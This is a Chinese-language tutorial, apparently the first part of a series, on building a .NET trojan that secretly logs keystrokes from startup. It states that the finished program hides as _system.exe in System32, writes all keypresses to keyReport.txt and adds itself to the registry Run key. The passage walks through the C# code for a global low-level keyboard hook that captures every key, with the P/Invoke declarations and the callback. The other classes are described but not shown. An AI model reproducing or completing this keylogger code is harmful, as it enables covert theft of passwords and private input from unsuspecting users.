.net木马的实现-开机键盘记录
1 Hook类的实现
网上这方面的内容很多,但大多没给出全部代码或者没有完整实现木马功能,这篇文章可能会有所帮助.我给出完整的代码不是提倡使用木马,只是在技术的谈论.
首先,这是一个较为完整的木马程序,运行或编译后会在System32下建一个名为keyReport.txt的文本文件用来记录所有按键消息,并且在System32下会有一个名为_system.exe木马主体.在注册表CurrentUser,Software\\Microsoft\\Windows\\CurrentVersion\\run的位置会叫上一个启动项,运行和编译请注意.
整个程序包含了4个类,From1,Hook, RegistryReport, Report.
Hook类返回一个键盘按下事件KeyboardEvent,并把按下键的信息发送给From1类,From1捕获到事件后，在调用Report类的WriteDate方法,写入文本文件,而RegistryReport负责在启动是向注册表添加信息.
我们先来说HOOK类.
木马不外呼就是获取键盘消息,这就要使用到HOOK技术,既键盘钩子.HOOK技术的资料网上也有很多,大家可以找来看，我这里就不详细说名了.
//安装钩子
[DllImport("User32.dll",CharSet = CharSet.Auto)] public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);//调用下一个钩子
[DllImport("User32.dll",CharSet = CharSet.Auto)] public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam); //卸载钩子
[DllImport("User32.dll",CharSet = CharSet.Auto)] public static extern bool UnhookWindowsHookEx(IntPtr hookHandle); //钩子类型
public enum HookType{ 
WH_JOURNALRECORD = 0, WH_JOURNALPLAYBACK = 1, WH_KEYBOARD = 2, WH_GETMESSAGE = 3, WH_CALLWNDPROC = 4, WH_CBT = 5, WH_SYSMSGFILTER = 6, WH_MOUSE = 7, WH_HARDWARE = 8, WH_DEBUG = 9, WH_SHELL = 10, WH_FOREGROUNDIDLE = 11, WH_CALLWNDPROCRET = 12, WH_KEYBOARD_LL = 13, WH_MOUSE_LL = 14, WH_MSGFILTER = -1, 
} 首先在定义一个全局委托,这里说全局其实是不大合适的.
这就是键盘事件句柄,有2个参数KeyboardEvents和Keys,
public enum KeyboardEvents{ KeyDown = 0x0100, KeyUp = 0x0101, SystemKeyDown = 0x0104, SystemKeyUp = 0x0105 } KeyboardEvents结构定义了键盘消息的状态,是按下还是抬起.而System.Windows.Forms.Keys指示是哪一个键.
我们先来看看HOOK类的构造函数.
public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam); private IntPtr instance; //当前实例的句柄 private IntPtr hookHandle; //钩子的句柄 private int threadID; //要挂钩的线程句柄 private HookProc hookProcEx;//hook委托 public event KeyboardEventHandler KeyboardEvent; //自定义键盘事件 public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);
public Hook(){ this.instance = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);//反射当前的实例 this.threadID = 0; //由于是全局钩子, threadID参数为0 hookHandle = IntPtr.Zero; //暂时初始化为IntPtr.Zero hookProcEx = new HookProc(hookProc); //实例化钩子委托,既钩子回调函数指针 } 在构造函数中我们初始化了一些字段,现在来看看HOOK类是如何捕获键盘消息并产生事件的.其中有2个函数共外部调用public bool SetHook(),public bool UnHook();一个是安装钩子，一个是卸载钩子.
public bool SetHook(){ this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID); return ((int)hookHandle != 0); } SetWindowsHookEx函数成功后,返回一个非零钩子句柄给hookHandle.在SetWindowsHookEx中将回调hookProcEx委托,他在先前hookProcEx = new HookProc(hookProc);于是当有键盘消息时他将执行
public IntPtr hookProc(int code, int wParam, IntPtr lParam){ 
if(code >= 0){ 
KeyboardEvents kEvent = (KeyboardEvents)wParam; //如果事件不是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp //执行CallNextHookEx,调用下一个钩子. if (kEvent != KeyboardEvents.KeyDown && kEvent != KeyboardEvents.KeyUp && kEvent != KeyboardEvents.SystemKeyDown && kEvent != KeyboardEvents.SystemKeyUp) { return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); 
} //如果是KeyDown, KeyUp, SystemKeyDown, SystemKeyUp //则执行以下的,我们把lParam参数映射到一个KeyboardHookStruct结构中 KeyboardHookStruct MyKey = new KeyboardHookStruct(); Type t = MyKey.GetType(); MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t); Keys keyData=(Keys)MyKey.vkCode; //产生键盘事件 KeyboardEvent(kEvent, keyData); } return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam); } KeyboardHookStruct结构如下
[StructLayout(LayoutKind.Sequential)] public struct KeyboardHookStruct{ public int vkCode; //表示一个在1到254间的虚似键盘码 public int scanCode; //表示硬件扫描码 public int flags; public int time; public int dwExtraInfo; }
Marshal.PtrToStructure这个方法可以把非托管的变量转换为一个托管的变量.参数中要给出托管变量的类型(TYPE). 于是我们可以通过这种方式看到键盘消息中的虚拟键码MyKey.vkCode;
Keys keyData=(Keys)MyKey.vkCode;
通过上面的方式,转换成System.Windows.Forms.Keys枚举.
得到键盘消息后,我们就把键盘消息封装在一个叫做KeyboardHookStruct kEvent的结构里,并产生事件.
KeyboardEvent(kEvent, keyData);
就这样一个键盘事件就发送出去了.
最后还有卸载钩子.
public bool UnHook(){ return Hook.UnhookWindowsHookEx(this.hookHandle); } 这就是HOOK类的实现.我们在来看看From1是怎么捕获到键盘事件并处理的.
